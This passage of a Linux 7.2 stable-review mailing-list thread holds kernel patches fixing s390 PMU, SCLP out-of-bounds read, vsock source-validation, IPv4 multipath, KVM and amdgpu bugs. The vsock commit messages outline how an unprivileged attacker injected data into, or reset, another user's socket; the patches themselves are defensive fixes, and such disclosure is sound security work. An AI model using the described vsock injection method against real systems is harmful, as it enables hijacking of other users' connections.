Clear bit PERF_HES_STOPPED in PMU->start().
Prohibit ioctl(fd, PERF_EVENT_IOC_PERIOD, ...) call for this event.
It sets perf_event::event_limit to a positive value and causes
perf_event_overflow() to invoke pai_stop() call back function when
perf_event::event_limit hits zero. This is not supported because the
sample events CRYPTO_ALL and NNPA_ALL are only taken at schedule out
of a task.
Use list_for_each_entry_safe() for safe iteration over syswide_list
in pai_have_samples().
Fixes: 9f66572f2889 ("s390/pai_crypto: Enable per-task and system-wide sampling event")
Fixes: 582cc1b28e8c ("s390/pai_ext: Enable per-task and system-wide sampling event")
Cc: stable@vger.kernel.org # v6.19+
Signed-off-by: Thomas Richter <tmricht@linux.ibm.com>
Reviewed-by: Sumanth Korikkar <sumanthk@linux.ibm.com>
Signed-off-by: Vasily Gorbik <gor@linux.ibm.com>
Signed-off-by: Heiko Carstens <hca@linux.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
arch/s390/kernel/perf_pai.c | 25 +++++++++++++++++++++++--
1 file changed, 23 insertions(+), 2 deletions(-)
--- a/arch/s390/kernel/perf_pai.c
+++ b/arch/s390/kernel/perf_pai.c
@@ -502,6 +502,7 @@ static void pai_start(struct perf_event
cpump->event = event;
}
}
+ event->hw.state &= ~PERF_HES_STOPPED;
}
static void paicrypt_start(struct perf_event *event, int flags)
@@ -548,6 +549,13 @@ static void pai_stop(struct perf_event *
struct pai_mapptr *mp = this_cpu_ptr(pai_root[idx].mapptr);
struct pai_map *cpump = mp->mapptr;
+ /* Cope with multiple invocations:
+ * 1. perf_event_throttle() --> PMU->stop()
+ * 2. task schedules out --> PMU->stop()
+ * Check for event already stopped.
+ */
+ if (event->hw.state & PERF_HES_STOPPED)
+ return;
if (!event->attr.sample_period) { /* Counting */
pai_pmu[idx].pmu->read(event);
} else { /* Sampling */
@@ -710,9 +718,9 @@ static void pai_have_samples(int idx)
{
struct pai_mapptr *mp = this_cpu_ptr(pai_root[idx].mapptr);
struct pai_map *cpump = mp->mapptr;
- struct perf_event *event;
+ struct perf_event *event, *e2;
- list_for_each_entry(event, &cpump->syswide_list, hw.tp_list)
+ list_for_each_entry_safe(event, e2, &cpump->syswide_list, hw.tp_list)
pai_have_sample(event, cpump);
}
@@ -729,6 +737,17 @@ static void paicrypt_sched_task(struct p
pai_have_samples(PAI_PMU_CRYPTO);
}
+/* Prevent ioctl(fd, PERF_EVENT_IOC_PERIOD, ...) call.
+ * It sets perf_event::event_limit to a positive value and causes
+ * perf_event_overflow() to invoke pai_stop() call back function when
+ * perf_event::event_limit hits zero. This is not supported because the
+ * sample events CRYPTO_ALL and NNPA_ALL are always taken at schedule out
+ * of a task.
+ */
+static int pai_check_period(struct perf_event *event, u64 value)
+{
+ return -EINVAL;
+}
/* ============================= paiext ====================================*/
static void paiext_event_destroy(struct perf_event *event)
@@ -842,6 +861,7 @@ static struct pmu paicrypt = {
.stop = paicrypt_stop,
.read = paicrypt_read,
.sched_task = paicrypt_sched_task,
+ .check_period = pai_check_period,
.attr_groups = paicrypt_attr_groups
};
@@ -1053,6 +1073,7 @@ static struct pmu paiext = {
.stop = paiext_stop,
.read = paiext_read,
.sched_task = paiext_sched_task,
+ .check_period = pai_check_period,
.attr_groups = paiext_attr_groups,
};
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 204/242] s390/pci: Fix leak of uninitialized kernel data in SCLP report
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (200 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 203/242] s390/pai: Handle multiple PMU stop callback invocations Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 205/242] vsock/virtio: validate packet source for connected sockets Greg Kroah-Hartman
` (39 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Niklas Schnelle, Benjamin Block,
Vasily Gorbik, Heiko Carstens
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Niklas Schnelle <schnelle@linux.ibm.com>
commit 8ac60ae2a307a50b599bf5d300b448d638f3ba29 upstream.
While report_error_write() checks that the provided buffer is at least
as large as the header struct, but not that it is large enough to
contain the report with the length claimed by report->length. If
user-space provides a short buffer, meaning a larger report->length than
the actually written payload, up to around 4K of kernel data from past
the kmalloc(len + 1) sized buffer allocated in kernfs_fop_write_iter()
will leak into the SCLP report.
However, as the entity processing the SCLP is privileged and able to
access at least the page including the report, this does not leak data
that entity could not access but it is still an out of bounds read and
a malformed error report that should be rejected.
Fixes: 368704a65be8 ("s390/pci: add report_error attribute")
Cc: stable@vger.kernel.org
Signed-off-by: Niklas Schnelle <schnelle@linux.ibm.com>
Reviewed-by: Benjamin Block <bblock@linux.ibm.com>
Signed-off-by: Vasily Gorbik <gor@linux.ibm.com>
Signed-off-by: Heiko Carstens <hca@linux.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
arch/s390/pci/pci_sysfs.c | 3 +++
1 file changed, 3 insertions(+)
--- a/arch/s390/pci/pci_sysfs.c
+++ b/arch/s390/pci/pci_sysfs.c
@@ -153,6 +153,9 @@ static ssize_t report_error_write(struct
if (off || (count < sizeof(*report)))
return -EINVAL;
+ if (count < (report->length + sizeof(*report)))
+ return -EINVAL;
+
ret = sclp_pci_report(report, zdev->fh, zdev->fid);
return ret ? ret : count;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 205/242] vsock/virtio: validate packet source for connected sockets
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (201 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 204/242] s390/pci: Fix leak of uninitialized kernel data in SCLP report Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 206/242] vsock/vmci: " Greg Kroah-Hartman
` (38 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Stefano Garzarella, Bobby Eshleman,
Daehyeon Ko, Jakub Kicinski
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Daehyeon Ko <4ncienth@gmail.com>
commit dee44f41f206becb41c492899c1996cfd7f82a1b upstream.
virtio_transport_recv_pkt() looks up sockets first by the full source and
destination tuple, then by destination only in the bound table. The
fallback is needed for listening and connecting sockets, but sockets remain
in the bound table after connect(), so it can also return a non-listening
socket.
The fallback does not validate the source address. In TCP_SYN_SENT, a
RESPONSE from an unrelated source can transition the victim socket to
TCP_ESTABLISHED while its stored remote address remains unchanged.
Subsequent RW packets from that source are delivered through the same
destination-only fallback.
This was reproduced with capability-empty processes under different UIDs.
The attacker discovered the target tuple through unprivileged AF_VSOCK
sock_diag and caused the victim socket to read 16 attacker-chosen bytes;
the intended peer-side socket read 0 of those 16 bytes.
Add vsock_check_source() to validate the transport, source port and source
CID against the peer stored in a non-listening socket. The local transport
is the CID exception because its packets are generated internally with
VMADDR_CID_LOCAL as their source, including connections using CID aliases.
Use the helper after lock_sock() in the virtio receive path.
Fixes: 06a8fc78367d ("VSOCK: Introduce virtio_vsock_common.ko")
Closes: https://lore.kernel.org/netdev/20260813121236.2328599-1-4ncienth@gmail.com/
Cc: stable@vger.kernel.org
Suggested-by: Stefano Garzarella <sgarzare@redhat.com>
Reviewed-by: Bobby Eshleman <bobbyeshleman@meta.com>
Signed-off-by: Daehyeon Ko <4ncienth@gmail.com>
Link: https://patch.msgid.link/20260826003929.966160-2-4ncienth@gmail.com
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
include/net/af_vsock.h | 3 +++
net/vmw_vsock/af_vsock.c | 32 ++++++++++++++++++++++++++++++++
net/vmw_vsock/virtio_transport_common.c | 3 ++-
3 files changed, 37 insertions(+), 1 deletion(-)
--- a/include/net/af_vsock.h
+++ b/include/net/af_vsock.h
@@ -232,6 +232,9 @@ struct sock *vsock_find_bound_socket_net
struct sock *vsock_find_connected_socket_net(struct sockaddr_vm *src,
struct sockaddr_vm *dst,
struct net *net);
+bool vsock_check_source(const struct vsock_sock *vsk,
+ const struct vsock_transport *transport,
+ const struct sockaddr_vm *src);
void vsock_remove_sock(struct vsock_sock *vsk);
void vsock_for_each_connected_socket(struct vsock_transport *transport,
void (*fn)(struct sock *sk));
--- a/net/vmw_vsock/af_vsock.c
+++ b/net/vmw_vsock/af_vsock.c
@@ -441,6 +441,38 @@ struct sock *vsock_find_connected_socket
}
EXPORT_SYMBOL_GPL(vsock_find_connected_socket);
+/**
+ * vsock_check_source - validate a packet source against a socket peer
+ * @vsk: socket receiving the packet
+ * @transport: transport receiving the packet
+ * @src: source address from the packet
+ *
+ * Return: true if the packet arrived on the socket's assigned transport and
+ * its source matches the stored peer. Loopback packets are generated
+ * internally and always use the local CID as their source, including
+ * connections using a valid CID alias.
+ *
+ * The caller must hold the socket lock and must not call this for listening
+ * sockets, which accept packets from any source and have no assigned
+ * transport.
+ */
+bool vsock_check_source(const struct vsock_sock *vsk,
+ const struct vsock_transport *transport,
+ const struct sockaddr_vm *src)
+{
+ if (vsk->transport != transport)
+ return false;
+
+ if (src->svm_port != vsk->remote_addr.svm_port)
+ return false;
+
+ if (src->svm_cid == vsk->remote_addr.svm_cid)
+ return true;
+
+ return transport->get_local_cid() == VMADDR_CID_LOCAL;
+}
+EXPORT_SYMBOL_GPL(vsock_check_source);
+
void vsock_remove_sock(struct vsock_sock *vsk)
{
/* Transport reassignment must not remove the binding. */
--- a/net/vmw_vsock/virtio_transport_common.c
+++ b/net/vmw_vsock/virtio_transport_common.c
@@ -1826,7 +1826,8 @@ void virtio_transport_recv_pkt(struct vi
* lock_sock (note: listener sockets are not assigned to any transport)
*/
if (sock_flag(sk, SOCK_DONE) ||
- (sk->sk_state != TCP_LISTEN && vsk->transport != &t->transport)) {
+ (sk->sk_state != TCP_LISTEN &&
+ !vsock_check_source(vsk, &t->transport, &src))) {
(void)virtio_transport_reset_no_sock(t, skb, net);
release_sock(sk);
sock_put(sk);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 206/242] vsock/vmci: validate packet source for connected sockets
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (202 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 205/242] vsock/virtio: validate packet source for connected sockets Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 207/242] ipv4: avoid divide by zero in fib_rebalance Greg Kroah-Hartman
` (37 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Sashiko, Stefano Garzarella,
Paolo Abeni, Daehyeon Ko, Vishnu Dasa, Jakub Kicinski
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Daehyeon Ko <4ncienth@gmail.com>
commit ad9a7da3fa39c2d616ec0dd3cf6e30531d032fe7 upstream.
vmci_transport_recv_stream_cb() looks up sockets first by the full source
and destination tuple, then by destination only in the bound table. The
fallback can select a non-listening socket without checking whether the
packet came from its stored peer.
This was reproduced with two VMCI contexts. A RST from the context not
stored in a TCP_SYN_SENT socket reset that socket after it was selected by
the destination-only lookup.
VMCI can process notification packets in bottom-half context when the
socket is not owned by user context, or defer packets to a workqueue. Use
vsock_check_source() after taking the socket lock in the bottom-half path,
and recheck after lock_sock() in the workqueue path. Listening sockets
continue to accept packets from any source.
Reply with a RST addressed from the received packet before dropping a
source that fails validation. This preserves the existing reset behavior
for bound non-listening and concurrently closed sockets without directing
the reset to a connected socket's stored peer.
Fixes: d021c344051a ("VSOCK: Introduce VM Sockets")
Reported-by: Sashiko <sashiko-bot@kernel.org>
Closes: https://lore.kernel.org/netdev/20260814121255.6B5001F000E9@smtp.kernel.org/
Cc: stable@vger.kernel.org
Suggested-by: Stefano Garzarella <sgarzare@redhat.com>
Suggested-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Daehyeon Ko <4ncienth@gmail.com>
Reviewed-by: Vishnu Dasa <vishnu.dasa@broadcom.com>
Link: https://patch.msgid.link/20260826003929.966160-3-4ncienth@gmail.com
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/vmw_vsock/vmci_transport.c | 36 +++++++++++++++++++++++++++++-------
1 file changed, 29 insertions(+), 7 deletions(-)
--- a/net/vmw_vsock/vmci_transport.c
+++ b/net/vmw_vsock/vmci_transport.c
@@ -680,11 +680,13 @@ static int vmci_transport_recv_stream_cb
struct vmci_transport_packet *pkt;
struct vsock_sock *vsk;
bool bh_process_pkt;
+ bool drop_pkt;
int err;
sk = NULL;
err = VMCI_SUCCESS;
bh_process_pkt = false;
+ drop_pkt = false;
/* Ignore incoming packets from resources that aren't vsock
* implementations.
@@ -765,17 +767,29 @@ static int vmci_transport_recv_stream_cb
bh_lock_sock(sk);
if (!sock_owned_by_user(sk)) {
- /* The local context ID may be out of date, update it. */
- vsk->local_addr.svm_cid = dst.svm_cid;
-
- if (sk->sk_state == TCP_ESTABLISHED)
- vmci_trans(vsk)->notify_ops->handle_notify_pkt(
- sk, pkt, true, &dst, &src,
- &bh_process_pkt);
+ if (sk->sk_state != TCP_LISTEN &&
+ !vsock_check_source(vsk, &vmci_transport, &src)) {
+ drop_pkt = true;
+ err = VMCI_ERROR_NO_ACCESS;
+ } else {
+ /* The local context ID may be out of date, update it. */
+ vsk->local_addr.svm_cid = dst.svm_cid;
+
+ if (sk->sk_state == TCP_ESTABLISHED)
+ vmci_trans(vsk)->notify_ops->handle_notify_pkt(sk, pkt, true,
+ &dst, &src,
+ &bh_process_pkt);
+ }
}
bh_unlock_sock(sk);
+ if (drop_pkt) {
+ if (vmci_transport_send_reset_bh(&dst, &src, pkt) < 0)
+ pr_err("unable to send reset\n");
+ goto out;
+ }
+
if (!bh_process_pkt) {
struct vmci_transport_recv_pkt_info *recv_pkt_info;
@@ -900,6 +914,7 @@ static void vmci_transport_recv_pkt_work
{
struct vmci_transport_recv_pkt_info *recv_pkt_info;
struct vmci_transport_packet *pkt;
+ struct sockaddr_vm src;
struct sock *sk;
recv_pkt_info =
@@ -908,6 +923,12 @@ static void vmci_transport_recv_pkt_work
pkt = &recv_pkt_info->pkt;
lock_sock(sk);
+ vsock_addr_init(&src, pkt->dg.src.context, pkt->src_port);
+ if (sk->sk_state != TCP_LISTEN &&
+ !vsock_check_source(vsock_sk(sk), &vmci_transport, &src)) {
+ vmci_transport_reply_reset(pkt);
+ goto out;
+ }
/* The local context ID may be out of date. */
vsock_sk(sk)->local_addr.svm_cid = pkt->dg.dst.context;
@@ -937,6 +958,7 @@ static void vmci_transport_recv_pkt_work
break;
}
+out:
release_sock(sk);
kfree(recv_pkt_info);
/* Release reference obtained in the stream callback when we fetched
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 207/242] ipv4: avoid divide by zero in fib_rebalance
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (203 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 206/242] vsock/vmci: " Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 208/242] drm/amdgpu: Fix VCE 3 ring align_mask Greg Kroah-Hartman
` (36 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Vega, Zihan Xi, Eric Dumazet,
Ido Schimmel, Jakub Kicinski
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Zihan Xi <zihanx@nebusec.ai>
commit 5046d2880fec7d49ebed2fd2866747ee1d06ad71 upstream.
fib_rebalance() computes the total eligible nexthop weight in one pass
and programs upper bounds in a second pass. A concurrent change to
ignore_routes_with_linkdown can make the first pass return zero while
the second pass sees an eligible nexthop, resulting in division by zero.
If the first pass reports a zero total, set each nexthop upper bound to
-1 and skip the division. This matches the IPv6 fix in commit
d2c26c2911dd ("ipv6: avoid divide by zero in rt6_multipath_rebalance")
and preserves the lock-free rebalance path.
Fixes: 0e884c78ee19 ("ipv4: L3 hash-based multipath")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
Reviewed-by: Eric Dumazet <edumazet@google.com>
Reviewed-by: Ido Schimmel <idosch@nvidia.com>
Link: https://patch.msgid.link/20260827182514.4667-2-zihanx@nebusec.ai
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/ipv4/fib_semantics.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/net/ipv4/fib_semantics.c
+++ b/net/ipv4/fib_semantics.c
@@ -877,7 +877,7 @@ static void fib_rebalance(struct fib_inf
change_nexthops(fi) {
int upper_bound;
- if (nexthop_nh->fib_nh_flags & RTNH_F_DEAD) {
+ if (!total || nexthop_nh->fib_nh_flags & RTNH_F_DEAD) {
upper_bound = -1;
} else if (ip_ignore_linkdown(nexthop_nh->fib_nh_dev) &&
nexthop_nh->fib_nh_flags & RTNH_F_LINKDOWN) {
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 208/242] drm/amdgpu: Fix VCE 3 ring align_mask
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (204 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 207/242] ipv4: avoid divide by zero in fib_rebalance Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 209/242] KVM: x86/mmu: Cope with the SS bit being set in #NPF exit codes Greg Kroah-Hartman
` (35 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Alex Deucher, David Rosca,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Rosca <david.rosca@amd.com>
[ Upstream commit 2ee9836545e690c9e66ec203445d7705959fd7a8 ]
The largest frame is 20 dwords, so 0xf mask is too small.
This was always wrong, but we were lucky with the VCE_CMD_END
commands inserted after fence and vm_flush.
Fixes: 8897ea8c761b ("drm/amdgpu: Implement insert_end for VCE 3")
Cc: stable@vger.kernel.org
Acked-by: Alex Deucher <alexander.deucher@amd.com>
Signed-off-by: David Rosca <david.rosca@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/gpu/drm/amd/amdgpu/vce_v3_0.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/drivers/gpu/drm/amd/amdgpu/vce_v3_0.c b/drivers/gpu/drm/amd/amdgpu/vce_v3_0.c
index a3eae7d4b57ed..0bceedadfa3fd 100644
--- a/drivers/gpu/drm/amd/amdgpu/vce_v3_0.c
+++ b/drivers/gpu/drm/amd/amdgpu/vce_v3_0.c
@@ -960,7 +960,7 @@ static const struct amdgpu_ring_funcs vce_v3_0_ring_phys_funcs = {
static const struct amdgpu_ring_funcs vce_v3_0_ring_vm_funcs = {
.type = AMDGPU_RING_TYPE_VCE,
- .align_mask = 0xf,
+ .align_mask = 0x1f,
.nop = VCE_CMD_NO_OP,
.support_64bit_ptrs = false,
.no_user_fence = true,
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 209/242] KVM: x86/mmu: Cope with the SS bit being set in #NPF exit codes
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (205 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 208/242] drm/amdgpu: Fix VCE 3 ring align_mask Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 210/242] drm/amdgpu: correct reservation fence slots for userq per-vm BOs eviction Greg Kroah-Hartman
` (34 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, SimonP, Sean Christopherson,
Paolo Bonzini, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Paolo Bonzini <pbonzini@redhat.com>
[ Upstream commit e90ab3669181c6469e3647ef2b30ae408275f496 ]
When running Hyper-V from Windows 11, KVM is seeing the SS bit set
in nested page fault error codes produced for shadowed NPT. The AMD
manual is unclear about when SS is set, including whether it can be set
when SupervisorShadowStackEn (bit 6) is not set in the MISC_CTL field
of the VMCB.
Nevertheless, the unexpected SS bit causes out of bounds accesses in
permission_fault(), seen as either WARNs or UBSAN reports:
kernel: UBSAN: array-index-out-of-bounds in arch/x86/kvm/mmu.h:225:27
kernel: index 34 is out of range for type 'u16 [16]'
(in this case, the page fault error code is 34*2=0x44, i.e. SS|U; the
report shows SS|U|W happening as well). Fix the handling of unknown
error codes by dropping SS and (with a WARN) any bits not among those
that permission_fault() expects to receive.
At the same time, given the uncertainty about when hardware sets SS,
follow the processor's behavior when constructing the fault's error
code, and preserve the SS bit as passed to FNAME(walk_addr_generic).
While the behavior is surprising, there's a possibility that Hyper-V
expects it (Hyper-V does not even enable CET unless it finds MBEC/GMET!),
so retain the information when reflecting the fault to L1 instead of
unconditionally discarding it.
Bisection shows that this started happening with commit 687ee95c1b6d ("KVM:
nSVM: enable GMET for guests"), even though SHSTK was available to guests
since Linux 6.18. However, this is not because bit 1 of MISC_CTL (GMET)
somehow enables reporting the SS bit; rather, it's simply that Hyper-V
never uses CET unless GMET is also present. The WARN is reproducible
even with gmet=0, with some hacking of kvm-unit-tests's cet.c testcase
to ensure that the first access to the shadow stack triggers a page fault.
Reported-by: SimonP <simonp.git@mailbox.org>
Fixes: 8db428fd5229 ("KVM: SVM: Enable shadow stack virtualization for SVM")
Cc: stable@vger.kernel.org
Reviewed-by: Sean Christopherson <seanjc@google.com>
Closes: https://lore.kernel.org/all/asUqYEisPp9MJ8mQ@rika.bernkas.tel
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
[ sashal: Adapted upstream w and fmt references to the existing mmu structure. ]
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
arch/x86/kvm/mmu.h | 16 ++++++++++++----
arch/x86/kvm/mmu/paging_tmpl.h | 3 +--
2 files changed, 13 insertions(+), 6 deletions(-)
--- a/arch/x86/kvm/mmu.h
+++ b/arch/x86/kvm/mmu.h
@@ -198,8 +198,18 @@ static inline u8 permission_fault(struct
unsigned pte_access, unsigned pte_pkey,
u64 access)
{
- /* strip nested paging fault error codes */
- unsigned int pfec = access;
+ /*
+ * Of the error codes that do not contribute to the index in
+ * mmu->permissions, PK and SS are not supported by shadow paging
+ * and also not provided to EPT violations, but SS *is* included
+ * in the NPT exit code. RSVD faults are handled elsewhere.
+ */
+ unsigned int pfec = access & ~PFERR_SS_MASK;
+ if (WARN_ON_ONCE(pfec & ~(PFERR_PRESENT_MASK | PFERR_WRITE_MASK |
+ PFERR_USER_MASK | PFERR_FETCH_MASK)))
+ pfec &= (PFERR_PRESENT_MASK | PFERR_WRITE_MASK |
+ PFERR_USER_MASK | PFERR_FETCH_MASK);
+
unsigned long rflags = kvm_x86_call(get_rflags)(vcpu);
/*
@@ -223,8 +233,6 @@ static inline u8 permission_fault(struct
kvm_mmu_refresh_passthrough_bits(vcpu, mmu);
fault = (mmu->permissions[index] >> pte_access) & 1;
-
- WARN_ON_ONCE(pfec & (PFERR_PK_MASK | PFERR_SS_MASK | PFERR_RSVD_MASK));
if (unlikely(mmu->pkru_mask)) {
u32 pkru_bits, offset;
--- a/arch/x86/kvm/mmu/paging_tmpl.h
+++ b/arch/x86/kvm/mmu/paging_tmpl.h
@@ -326,7 +326,6 @@ static int FNAME(walk_addr_generic)(stru
int offset;
u64 walk_nx_mask = 0;
const int write_fault = access & PFERR_WRITE_MASK;
- const int user_fault = access & PFERR_USER_MASK;
const int fetch_fault = access & PFERR_FETCH_MASK;
/*
* Note! Track the error_code that's common to legacy shadow paging
@@ -484,7 +483,7 @@ retry_walk:
return 1;
error:
- errcode |= write_fault | user_fault;
+ errcode |= access & (PFERR_WRITE_MASK | PFERR_USER_MASK | PFERR_SS_MASK);
if (fetch_fault && has_pferr_fetch(mmu))
errcode |= PFERR_FETCH_MASK;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 210/242] drm/amdgpu: correct reservation fence slots for userq per-vm BOs eviction
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (206 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 209/242] KVM: x86/mmu: Cope with the SS bit being set in #NPF exit codes Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 211/242] drm/amdgpu/userq: actually validate userq BOs Greg Kroah-Hartman
` (33 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Prike Liang, Christian König,
Alex Deucher, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Prike Liang <Prike.Liang@amd.com>
[ Upstream commit 50b24a20be8c0d35f89f7d5c39533f69d84fe48e ]
It fixes both the move overflow and the eviction fence add for
evicting these per-vm BOs.
Signed-off-by: Prike Liang <Prike.Liang@amd.com>
Reviewed-by: Christian König <christian.koenig@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
Stable-dep-of: 32d0771ef4ca ("drm/amdgpu/userq: actually validate userq BOs")
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/amd/amdgpu/amdgpu_userq.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_userq.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_userq.c
@@ -948,7 +948,8 @@ amdgpu_userq_bo_validate(struct amdgpu_d
spin_unlock(&vm->individual_lock);
bo = bo_va->base.bo;
- ret = drm_exec_prepare_obj(exec, &bo->tbo.base, 2);
+ ret = drm_exec_prepare_obj(exec, &bo->tbo.base,
+ TTM_NUM_MOVE_FENCES + 1);
if (unlikely(ret))
return ret;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 211/242] drm/amdgpu/userq: actually validate userq BOs
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (207 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 210/242] drm/amdgpu: correct reservation fence slots for userq per-vm BOs eviction Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 212/242] drm/i915/dmc: Harden DMC firmware payload parsing Greg Kroah-Hartman
` (32 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Benjamin Cheng, Christian König,
Alex Deucher, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Benjamin Cheng <benjamin.cheng@amd.com>
[ Upstream commit 32d0771ef4ca69c30a1db3aefa34dd177cd2a047 ]
This was supposed to loop over the individual evicted list, as the
kernel and always_valid evicted lists were already handled in
amdgpu_vm_validate.
Without this, BOs that were created and evicted before a userq was made
would never end up in an eviction fence rearm.
Also add the missing ref to the BO before drm_exec locks and refs it.
Fixes: 4cdbba5a16aa ("drm/amdgpu: restructure VM state machine v4")
Signed-off-by: Benjamin Cheng <benjamin.cheng@amd.com>
Reviewed-by: Christian König <christian.koenig@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
(cherry picked from commit 18decfc9e8cc0fa70b6de9944cc27a37729edfbd)
Cc: stable@vger.kernel.org
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/amd/amdgpu/amdgpu_userq.c | 10 ++++++----
1 file changed, 6 insertions(+), 4 deletions(-)
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_userq.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_userq.c
@@ -937,19 +937,21 @@ amdgpu_userq_bo_validate(struct amdgpu_d
{
struct ttm_operation_ctx ctx = { false, false };
struct amdgpu_bo_va *bo_va;
- struct amdgpu_bo *bo;
+ struct amdgpu_bo *bo, *tmp;
int ret;
spin_lock(&vm->individual_lock);
- while (!list_empty(&vm->always_valid.evicted)) {
- bo_va = list_first_entry(&vm->always_valid.evicted,
